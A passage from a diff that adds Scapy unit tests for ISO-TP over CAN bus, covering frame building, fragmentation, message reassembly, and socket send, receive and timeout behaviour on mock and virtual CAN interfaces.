new_can_socket1 = lambda: CANSocket(iface1) + +# utility function for draining a can interface, asserting that no packets are there +def drain_bus(iface=iface0, assert_empty=True): + s = new_can_socket(iface) + pkts = s.sniff(timeout=0.1) + if assert_empty: + assert len(pkts) == 0 + s.close() + +print("CAN sockets should work now") + + +# Verify that a CAN socket can be created and closed +~ conf linux needs_root +s = new_can_socket(iface0) +s.close() + + += Check if can-isotp and can-utils are installed on this system +~ linux +p = subprocess.Popen('lsmod | grep "^can_isotp"', stdout = subprocess.PIPE, shell=True) +if p.wait() == 0: + if b"can_isotp" in p.stdout.read(): + p = subprocess.Popen("isotpsend -s1 -d0 %s" % iface0, stdin = subprocess.PIPE, shell=True) + p.stdin.write(b"01") + p.stdin.close() + r = p.wait() + if r == 0: + ISOTP_KERNEL_MODULE_AVAILABLE = True + + ++ Syntax check + += Import isotp +conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} +load_contrib("isotp") + + ++ ISOTP packet check + += Creation of an empty ISOTP packet +p = ISOTP() +assert(p.data == b"") +assert(p.src is None and p.dst is None and p.exsrc is None and p.exdst is None) +assert(bytes(p) == b"") + += Creation of a simple ISOTP packet with source +p = ISOTP(b"eee", src=0x241) +assert(p.src == 0x241) +assert(p.data == b"eee") +assert(bytes(p) == b"eee") + ++ ISOTPFrame related checks + += Build a packet with extended addressing + +pkt = CAN(identifier=0x123, data=b'\x42\x10\xff\xde\xea\xdd\xaa\xaa') +isotpex = ISOTPHeaderEA(bytes(pkt)) +assert(isotpex.type == 1) +assert(isotpex.message_size == 0xff) +assert(isotpex.extended_address == 0x42) +assert(isotpex.identifier == 0x123) +assert(isotpex.length == 8) + + += Build a packet with normal addressing + +pkt = CAN(identifier=0x123, data=b'\x10\xff\xde\xea\xdd\xaa\xaa') +isotpno = ISOTPHeader(bytes(pkt)) +assert(isotpno.type == 1) +assert(isotpno.message_size == 0xff) +assert(isotpno.identifier == 0x123) +assert(isotpno.length == 7) + + += Compare both isotp payloads + +assert(isotpno.data == isotpex.data) +assert(isotpno.message_size == isotpex.message_size) + + += Dissect multiple packets + +frames = \ + [b'\x00\x00\x00\x00\x08\x00\x00\x00\x10(\xde\xad\xbe\xef\xde\xad', + b'\x00\x00\x00\x00\x08\x00\x00\x00!\xbe\xef\xde\xad\xbe\xef\xde', + b'\x00\x00\x00\x00\x08\x00\x00\x00"\xad\xbe\xef\xde\xad\xbe\xef', + b'\x00\x00\x00\x00\x08\x00\x00\x00#\xde\xad\xbe\xef\xde\xad\xbe', + b'\x00\x00\x00\x00\x08\x00\x00\x00$\xef\xde\xad\xbe\xef\xde\xad', + b'\x00\x00\x00\x00\x07\x00\x00\x00%\xbe\xef\xde\xad\xbe\xef'] + +isotpframes = [ISOTPHeader(x) for x in frames] + +assert(isotpframes[0].type == 1) +assert(isotpframes[0].message_size == 40) +assert(isotpframes[0].length == 8) +assert(isotpframes[1].type == 2) +assert(isotpframes[1].index == 1) +assert(isotpframes[1].length == 8) +assert(isotpframes[2].type == 2) +assert(isotpframes[2].index == 2) +assert(isotpframes[2].length == 8) +assert(isotpframes[3].type == 2) +assert(isotpframes[3].index == 3) +assert(isotpframes[3].length == 8) +assert(isotpframes[4].type == 2) +assert(isotpframes[4].index == 4) +assert(isotpframes[4].length == 8) +assert(isotpframes[5].type == 2) +assert(isotpframes[5].index == 5) +assert(isotpframes[5].length == 7) + += Build SF frame with constructor, check for correct length assignments + +p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_SF(data=b'\xad\xbe\xad\xff'))) +assert(p.length == 5) +assert(p.message_size == 4) +assert(len(p.data) == 4) +assert(p.data == b'\xad\xbe\xad\xff') +assert(p.type == 0) +assert(p.identifier == 0) + += Build SF frame EA with constructor, check for correct length assignments + +p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_SF(data=b'\xad\xbe\xad\xff'))) +assert(p.extended_address == 0) +assert(p.length == 6) +assert(p.message_size == 4) +assert(len(p.data) == 4) +assert(p.data == b'\xad\xbe\xad\xff') +assert(p.type == 0) +assert(p.identifier == 0) + += Build FF frame with constructor, check for correct length assignments + +p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FF(message_size=10, data=b'\xad\xbe\xad\xff'))) +assert(p.length == 6) +assert(p.message_size == 10) +assert(len(p.data) == 4) +assert(p.data == b'\xad\xbe\xad\xff') +assert(p.type == 1) +assert(p.identifier == 0) + += Build FF frame EA with constructor, check for correct length assignments + +p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FF(message_size=10, data=b'\xad\xbe\xad\xff'))) +assert(p.extended_address == 0) +assert(p.length == 7) +assert(p.message_size == 10) +assert(len(p.data) == 4) +assert(p.data == b'\xad\xbe\xad\xff') +assert(p.type == 1) +assert(p.identifier == 0) + += Build FF frame EA, extended size, with constructor, check for correct length assignments + +p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FF(message_size=0, + extended_message_size=2000, + data=b'\xad'))) +assert(p.extended_address == 0) +assert(p.length == 8) +assert(p.message_size == 0) +assert(p.extended_message_size == 2000) +assert(len(p.data) == 1) +assert(p.data == b'\xad') +assert(p.type == 1) +assert(p.identifier == 0) + += Build FF frame, extended size, with constructor, check for correct length assignments + +p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FF(message_size=0, + extended_message_size=2000, + data=b'\xad'))) +assert(p.length == 7) +assert(p.message_size == 0) +assert(p.extended_message_size == 2000) +assert(len(p.data) == 1) +assert(p.data == b'\xad') +assert(p.type == 1) +assert(p.identifier == 0) + += Build CF frame with constructor, check for correct length assignments + +p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_CF(data=b'\xad'))) +assert(p.length == 2) +assert(p.index == 0) +assert(len(p.data) == 1) +assert(p.data == b'\xad') +assert(p.type == 2) +assert(p.identifier == 0) + += Build CF frame EA with constructor, check for correct length assignments + +p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_CF(data=b'\xad'))) +assert(p.length == 3) +assert(p.index == 0) +assert(len(p.data) == 1) +assert(p.data == b'\xad') +assert(p.type == 2) +assert(p.identifier == 0) + += Build FC frame EA with constructor, check for correct length assignments + +p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FC())) +assert(p.length == 4) +assert(p.block_size == 0) +assert(p.separation_time == 0) +assert(p.type == 3) +assert(p.identifier == 0) + += Build FC frame with constructor, check for correct length assignments + +p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FC())) +assert(p.length == 3) +assert(p.block_size == 0) +assert(p.separation_time == 0) +assert(p.type == 3) +assert(p.identifier == 0) + += Construct some single frames + +p = ISOTPHeader(identifier=0x123, length=5)/ISOTP_SF(message_size=4, data=b'abcd') +assert(p.length == 5) +assert(p.identifier == 0x123) +assert(p.type == 0) +assert(p.message_size == 4) +assert(p.data == b'abcd') + += Construct some single frames EA + +p = ISOTPHeaderEA(identifier=0x123, length=6, extended_address=42)/ISOTP_SF(message_size=4, data=b'abcd') +assert(p.length == 6) +assert(p.extended_address == 42) +assert(p.identifier == 0x123) +assert(p.type == 0) +assert(p.message_size == 4) +assert(p.data == b'abcd') + + ++ ISOTP fragment and defragment checks + += Fragment an empty ISOTP message +fragments = ISOTP().fragment() +assert(len(fragments) == 1) +assert(fragments[0].data == b"\0") + += Fragment another empty ISOTP message +fragments = ISOTP("").fragment() +assert(len(fragments) == 1) +assert(fragments[0].data == b"\0") + += Fragment a 4 bytes long ISOTP message +fragments = ISOTP("data", src=0x241).fragment() +assert(len(fragments) == 1) +assert(isinstance(fragments[0], CAN)) +fragment = CAN(bytes(fragments[0])) +assert(fragment.data == b"\x04data") +assert(fragment.flags == 0) +assert(fragment.length == 5) +assert(fragment.reserved == 0) + += Fragment a 7 bytes long ISOTP message +fragments = ISOTP("abcdefg").fragment() +assert(len(fragments) == 1) +assert(fragments[0].data == b"\x07abcdefg") + += Fragment a 8 bytes long ISOTP message +fragments = ISOTP("abcdefgh").fragment() +assert(len(fragments) == 2) +assert(fragments[0].data == b"\x10\x08abcdef") +assert(fragments[1].data == b"\x21gh") + += Fragment an ISOTP message with extended addressing +isotp = ISOTP("abcdef", exdst=ord('A')) +fragments = isotp.fragment() +assert(len(fragments) == 1) +assert(fragments[0].data == b"A\x06abcdef") + += Fragment a 7 bytes ISOTP message with destination identifier +isotp = ISOTP("abcdefg", dst=0x64f) +fragments = isotp.fragment() +assert(len(fragments) == 1) +assert(fragments[0].data == b"\x07abcdefg") +assert(fragments[0].identifier == 0x64f) + += Fragment a 16 bytes ISOTP message with extended addressing +isotp = ISOTP("abcdefghijklmnop", dst=0x64f, exdst=ord('A')) +fragments = isotp.fragment() +assert(len(fragments) == 3) +assert(fragments[0].data == b"A\x10\x10abcde") +assert(fragments[1].data == b"A\x21fghijk") +assert(fragments[2].data == b"A\x22lmnop") +assert(fragments[0].identifier == 0x64f) +assert(fragments[1].identifier == 0x64f) +assert(fragments[2].identifier == 0x64f) + += Fragment a huge ISOTP message, 4997 bytes long +data = b"T" * 4997 +isotp = ISOTP(b"T" * 4997, dst=0x345) +fragments = isotp.fragment() +assert(len(fragments) == 715) +assert(fragments[0].data == dhex("10 00 00 00 13 85") + b"TT") +assert(fragments[1].data == b"\x21TTTTTTT") +assert(fragments[-2].data == b"\x29TTTTTTT") +assert(fragments[-1].data == b"\x2ATTTT") + += Defragment a single-frame ISOTP message +fragments = [CAN(identifier=0x641, data=b"\x04test")] +isotp = ISOTP.defragment(fragments) +isotp.show() +assert(isotp.data == b"test") +assert(isotp.dst == 0x641) + += Defragment an ISOTP message composed of multiple CAN frames +fragments = [ + CAN(identifier=0x641, data=dhex("41 10 10 61 62 63 64 65")), + CAN(identifier=0x641, data=dhex("41 21 66 67 68 69 6A 6B")), + CAN(identifier=0x641, data=dhex("41 22 6C 6D 6E 6F 70 00")) +] +isotp = ISOTP.defragment(fragments) +isotp.show() +assert(isotp.data == dhex("61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70")) +assert(isotp.dst == 0x641) +assert(isotp.exdst == 0x41) + += Check if fragmenting a message and defragmenting it back yields the original message +isotp1 = ISOTP("abcdef", exdst=ord('A')) +fragments = isotp1.fragment() +isotp2 = ISOTP.defragment(fragments) +isotp2.show() +assert(isotp1 == isotp2) + +isotp1 = ISOTP("abcdefghijklmnop") +fragments = isotp1.fragment() +isotp2 = ISOTP.defragment(fragments) +isotp2.show() +assert(isotp1 == isotp2) + +isotp1 = ISOTP("abcdefghijklmnop", exdst=ord('A')) +fragments = isotp1.fragment() +isotp2 = ISOTP.defragment(fragments) +isotp2.show() +assert(isotp1 == isotp2) + +isotp1 = ISOTP("T"*5000, exdst=ord('A')) +fragments = isotp1.fragment() +isotp2 = ISOTP.defragment(fragments) +isotp2.show() +assert(isotp1 == isotp2) + += Defragment an ambiguous CAN frame +fragments = [CAN(identifier=0x641, data=dhex("02 01 AA"))] +isotp = ISOTP.defragment(fragments, False) +isotp.show() +assert(isotp.data == dhex("01 AA")) +assert(isotp.exdst == None) +isotpex = ISOTP.defragment(fragments, True) +isotpex.show() +assert(isotpex.data == dhex("AA")) +assert(isotpex.exdst == 0x02) + + + ++ Testing ISOTPMessageBuilder + += Create ISOTPMessageBuilder +m = ISOTPMessageBuilder() + += Feed packets to machine +m.feed(CAN(identifier=0x241, data=dhex("10 28 01 02 03 04 05 06"))) +m.feed(CAN(identifier=0x641, data=dhex("30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("21 07 08 09 0A 0B 0C 0D"))) +m.feed(CAN(identifier=0x241, data=dhex("22 0E 0F 10 11 12 13 14"))) +m.feed(CAN(identifier=0x241, data=dhex("23 15 16 17 18 19 1A 1B"))) +m.feed(CAN(identifier=0x641, data=dhex("30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("24 1C 1D 1E 1F 20 21 22"))) +m.feed(CAN(identifier=0x241, data=dhex("25 23 24 25 26 27 28" ))) + += Verify there is a ready message in the machine +assert(m.count() == 1) + += Extract the message from the machine +msg = m.pop() +assert(m.count() == 0) +assert(msg.dst == 0x241) +assert(msg.exdst is None) +expected = dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28") +assert(msg.data == expected) + += Verify that no error happens when there is not enough data +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("04 AB CD EF"))) +msg = m.pop() +assert(msg is None) + += Verify that no error happens when there is no data +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex(""))) +msg = m.pop() +assert(msg is None) + += Verify a single frame without EA +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("04 AB CD EF 04"))) +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst is None) +assert(msg.data == dhex("AB CD EF 04")) + += Single frame without EA, with excessive bytes in CAN frame +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("03 AB CD EF AB CD EF AB"))) +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst is None) +assert(msg.data == dhex("AB CD EF")) + += Verify a single frame with EA +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("E2 04 01 02 03 04"))) +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst is 0xE2) +assert(msg.data == dhex("01 02 03 04")) + += Single CAN frame that has 2 valid interpretations +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("04 01 02 03 04"))) +msg = m.pop(0x241, None) +assert(msg.dst == 0x241) +assert(msg.exdst is None) +assert(msg.data == dhex("01 02 03 04")) +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst == 0x04) +assert(msg.data == dhex("02")) + += Verify multiple frames with EA +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05"))) +m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17"))) +m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))) +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst is 0xEA) +assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28")) + += Verify that an EA starting with 1 will still work +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("1A 10 14 01 02 03 04 05"))) +m.feed(CAN(identifier=0x641, data=dhex("1A 30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("1A 21 06 07 08 09 0A 0B"))) +m.feed(CAN(identifier=0x241, data=dhex("1A 22 0C 0D 0E 0F 10 11"))) +m.feed(CAN(identifier=0x241, data=dhex("1A 23 12 13 14 15 16 17"))) +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst is 0x1A) +assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14")) + += Verify that an EA of 07 will still work +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("07 10 0A 01 02 03 04 05"))) +m.feed(CAN(identifier=0x641, data=dhex("07 30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("07 21 06 07 08 09 0A 0B"))) +msg = m.pop(0x241, 0x07) +assert(msg.dst == 0x241) +assert(msg.exdst is 0x07) +assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A")) + += Verify that three interleaved messages can be sniffed simultaneously on the same identifier and extended address (very unrealistic) +m = ISOTPMessageBuilder() +m.feed(CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05"))) # start of message A +m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 10 10 31 32 33 34 35"))) # start of message B +m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("EA 03 A6 A7 A8" ))) # single-frame message C +m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) +m.feed(CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 21 36 37 38 39 3A 3B"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 22 3C 3D 3E 3F 40" ))) # end of message B +m.feed(CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23"))) +m.feed(CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))) # end of message A +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst is 0xEA) +assert(msg.data == dhex("A6 A7 A8")) +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst is 0xEA) +assert(msg.data == dhex("31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40")) +msg = m.pop() +assert(msg.dst == 0x241) +assert(msg.exdst is 0xEA) +assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28")) + + ++ Test sniffer += Test sniffer with multiple frames +~ linux needs_root + + +test_frames = [ + (0x241, "EA 10 28 01 02 03 04 05"), + (0x641, "EA 30 03 00" ), + (0x241, "EA 21 06 07 08 09 0A 0B"), + (0x241, "EA 22 0C 0D 0E 0F 10 11"), + (0x241, "EA 23 12 13 14 15 16 17"), + (0x641, "EA 30 03 00" ), + (0x241, "EA 24 18 19 1A 1B 1C 1D"), + (0x241, "EA 25 1E 1F 20 21 22 23"), + (0x241, "EA 26 24 25 26 27 28" ), +] + +succ = False +def sender(args=None): + for f in test_frames: + call("cansend %s %3x#%s" % (iface0, f[0], "".join(f[1].split())), shell=True) + global succ + succ = True + +s = new_can_socket(iface0) +thread = threading.Thread(target=sender) +sniffed = ISOTPSniffer.sniff(s, timeout=1, count=1, prn=lambda x: x.show2(), started_callback=thread.start) +sniffed[0]['ISOTP'].data == bytearray(range(1, 0x29)) +thread.join() +assert(succ) + + ++ ISOTPSocket tests + + += Single-frame receive + +cans = MockCANSocket() +cans.rcvd_queue.put(CAN(identifier=0x241, data=dhex("05 01 02 03 04 05"))) +with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: + msg = s.recv() + +assert(msg.data == dhex("01 02 03 04 05")) +assert(cans.sent_queue.empty()) + + += Single-frame send + +cans = MockCANSocket() +with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: + s.send(ISOTP(dhex("01 02 03 04 05"))) + +msg = cans.sent_queue.get(True, 1) +assert(msg.data == dhex("05 01 02 03 04 05")) +assert(cans.sent_queue.empty()) +assert(cans.rcvd_queue.empty()) + + += Two frame receive + +cans = MockCANSocket() +with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: + ready = threading.Event() + exception = None + succ = False + def sender(): + global exception, succ + try: + cans.rcvd_queue.put(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) + ready.set() + c = cans.sent_queue.get(True, 2) + assert(c.data == dhex("30 00 00")) + cans.rcvd_queue.put(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) + succ = True + except Exception as ex: + exception = ex + raise ex + thread = threading.Thread(target=sender, name="sender") + thread.start() + ready.wait() + msg = s.recv() + thread.join() + +if exception is not None: + raise exception + +assert(succ) +assert(msg.data == dhex("01 02 03 04 05 06 07 08 09")) +assert(cans.sent_queue.empty()) +assert(cans.rcvd_queue.empty()) + + += 20000 bytes receive + +data = dhex("01 02 03 04 05")*4000 +cans = MockCANSocket() + +with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: + ready = threading.Event() + exception = None + succ = False + def sender(): + global exception, succ + try: + cf = ISOTP(data, dst=0x241).fragment() + ff = cf.pop(0) + cans.rcvd_queue.put(ff) + ready.set() + c = cans.sent_queue.get(True, 2) + assert(c.data == dhex("30 00 00")) + for f in cf: + cans.rcvd_queue.put(f) + succ = True + except Exception as ex: + exception = ex + raise ex + thread = threading.Thread(target=sender, name="sender") + thread.start() + ready.wait() + msg = s.recv() + thread.join() + +if exception is not None: + raise exception + +assert(succ) +assert(msg.data == data) +assert(cans.sent_queue.empty()) +assert(cans.rcvd_queue.empty()) + +cans = MockCANSocket() +with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: + s.send(ISOTP(dhex("01 02 03 04 05"))) + + += 20000 bytes send + +data = dhex("01 02 03 04 05")*4000 +cans = MockCANSocket() +msg = ISOTP(data, dst=0x641) +succ = threading.Event() +ready = threading.Event() +fragments = msg.fragment() +ack = CAN(identifier=0x241, data=dhex("30 00 00")) + +def acker(): + ready.set() + ff = cans.sent_queue.get(True, 2) + assert(ff == fragments[0]) + cans.rcvd_queue.put(ack) + for fragment in fragments[1:]: + cf = cans.sent_queue.get(True, 2) + assert(fragment == cf) + succ.set() + +thread = threading.Thread(target=acker, name="acker") +thread.start() +ready.wait() + +with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: + s.send(msg) + +thread.join() +succ.wait(2) +assert(succ.is_set()) + + += Create and close ISOTP soft socket +with ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241) as s: + assert(s.impl.rx_thread.isAlive()) + s.close() + s.impl.rx_thread.join(5) + assert(not s.impl.rx_thread.isAlive()) + assert(not s.impl.rx_timer.isAlive()) + assert(not s.impl.tx_timer.isAlive()) + + += Verify that all threads will die when GC collects the socket +import gc +s = ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241) +assert(s.impl.rx_thread.isAlive()) +impl = s.impl +s = None +r = gc.collect() +impl.rx_thread.join(10) # hope that the GC has made a pass +assert(not impl.rx_thread.isAlive()) +assert(not impl.rx_timer.isAlive()) +assert(not impl.tx_timer.isAlive()) + + += Test on_recv function with single frame +with ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241) as s: + s.ins.on_recv(CAN(identifier=0x241, data=dhex("05 01 02 03 04 05"))) + msg = s.ins.rx_queue.get(True, 1) + assert(msg == dhex("01 02 03 04 05")) + + += Test on_recv function with empty frame +with ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241) as s: + s.ins.on_recv(CAN(identifier=0x241, data=b"")) + assert(s.ins.rx_queue.empty()) + + += Test on_recv function with single frame and extended addressing +with ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241, extended_rx_addr=0xea) as s: + s.ins.on_recv(CAN(identifier=0x241, data=dhex("EA 05 01 02 03 04 05"))) + msg = s.ins.rx_queue.get(True, 1) + assert(msg == dhex("01 02 03 04 05")) + + += CF is sent when first frame is received +cans = MockCANSocket() +with ISOTPSocket(cans, sid=0x641, did=0x241) as s: + s.ins.on_recv(CAN(identifier=0x241, data=dhex("10 20 01 02 03 04 05 06"))) + can = cans.sent_queue.get(True, 1) + assert(can.identifier == 0x641) + assert(can.data == dhex("30 00 00")) + + ++ Testing ISOTPSocket with an actual CAN socket + += Verify that packets are not lost if they arrive before the sniff() is called +~ linux needs_root + +ss = new_can_socket(iface0) +sr = new_can_socket(iface0) +print("socket open") +ss.send(CAN(identifier=0x111, data=b"\x01\x23\x45\x67")) +time.sleep(0.02) +p = sr.sniff(count=1, timeout=0.2) +assert(len(p)==1) +ss.send(CAN(identifier=0x111, data=b"\x89\xab\xcd\xef")) +time.sleep(0.02) +p = sr.sniff(count=1, timeout=0.2) +assert(len(p)==1) +del ss +del sr + + += Send single frame ISOTP message, using begin_send +~ linux needs_root +cans = new_can_socket(iface0) +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + s.begin_send(ISOTP(data=dhex("01 02 03 04 05"))) + can = cans.recv() + assert(can.identifier == 0x641) + assert(can.data == dhex("05 01 02 03 04 05")) + + += Send many single frame ISOTP messages, using begin_send +~ linux needs_root +cans = new_can_socket(iface0) +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + for i in range(100): + data = dhex("01 02 03 04 05") + struct.pack("B", i) + expected = struct.pack("B", len(data)) + data + s.begin_send(ISOTP(data=data)) + can = cans.recv() + assert(can.identifier == 0x641) + print(can.data, data) + assert(can.data == expected) + + += Send two-frame ISOTP message, using begin_send +~ linux needs_root +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + cans = new_can_socket(iface0) + s.begin_send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) + can = cans.recv() + assert can.identifier == 0x641 + assert can.data == dhex("10 08 01 02 03 04 05 06") + cans.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) + can = cans.recv() + assert can.identifier == 0x641 + assert can.data == dhex("21 07 08") + + += Send single frame ISOTP message +~ linux needs_root + +cans = new_can_socket(iface0) +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + s.send(ISOTP(data=dhex("01 02 03 04 05"))) + can = cans.recv() + assert(can.identifier == 0x641) + assert(can.data == dhex("05 01 02 03 04 05")) + + += Send two-frame ISOTP message +~ linux needs_root + +cans = new_can_socket(iface0) +acker_ready = threading.Event() +def acker(): + acks = new_can_socket(iface0) + acker_ready.set() + can = acks.recv() + acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) + +Thread(target=acker).start() +acker_ready.wait() +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) + can = cans.recv() + assert(can.identifier == 0x641) + assert(can.data == dhex("10 08 01 02 03 04 05 06")) + can = cans.recv() + assert(can.identifier == 0x241) + assert(can.data == dhex("30 00 00")) + can = cans.recv() + assert(can.identifier == 0x641) + assert(can.data == dhex("21 07 08")) + + += Receive a single frame ISOTP message +~ linux needs_root + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier = 0x241, data = dhex("05 01 02 03 04 05"))) + isotp = s.recv() + assert(isotp.data == dhex("01 02 03 04 05")) + assert(isotp.src == 0x641) + assert(isotp.dst == 0x241) + assert(isotp.exsrc == None) + assert(isotp.exdst == None) + + += Receive a single frame ISOTP message, with extended addressing +~ linux needs_root + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241, extended_addr=0xc0, extended_rx_addr=0xea) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier = 0x241, data = dhex("EA 05 01 02 03 04 05"))) + isotp = s.recv() + assert(isotp.data == dhex("01 02 03 04 05")) + assert(isotp.src == 0x641) + assert(isotp.dst == 0x241) + assert(isotp.exsrc == 0xc0) + assert(isotp.exdst == 0xea) + + += Receive a two-frame ISOTP message +~ linux needs_root + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) + cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) + isotp = s.recv() + assert(isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11")) + + += Check what happens when a CAN frame with wrong identifier gets received +~ linux needs_root + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier = 0x141, data = dhex("05 01 02 03 04 05"))) + assert(s.ins.rx_queue.empty()) + + ++ Testing ISOTPSocket timeouts + + += Check if not sending the last CF will make the socket timeout +~ linux needs_root + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier = 0x241, data = dhex("10 11 01 02 03 04 05 06"))) + cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 0A 0B 0C 0D"))) + isotp = s.sniff(timeout=1) + +assert(len(isotp) == 0) + + + += Check if not sending the first CF will make the socket timeout +~ linux needs_root + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + cans = new_can_socket(iface0) + cans.send(CAN(identifier = 0x241, data = dhex("10 11 01 02 03 04 05 06"))) + isotp = s.sniff(timeout=1) + +assert(len(isotp) == 0) + + += Check if not sending the first FC will make the socket timeout +~ linux needs_root + +exception = None +isotp = ISOTP(data=dhex("01 02 03 04 05 06 07 08 09 0A")) + +with ISOTPSocket(new_can_socket(iface0), sid=0x641, did=0x241) as s: + try: + s.send(isotp) + assert(False) + except Scapy_Exception as ex: + exception = ex + +print(exception) +assert(str(exception) == "TX state was reset due to timeout") + + += Check if not sending the second FC will make the socket timeout +~ linux needs_root + +exception = None +isotp = ISOTP(data=b"\xa5" * 120) +test_sem = threading.Semaphore(0) +evt = threading.Event() + +def acker(): + cans = new_can_socket(iface0) + evt.set() + can = cans.recv() + cans.send(CAN(identifier = 0x241, data=dhex("30 04 00"))) + +thread = Thread(target=acker) +thread.start() +evt.wait() + +with ISOTPSocket(new_can_socket(iface0), 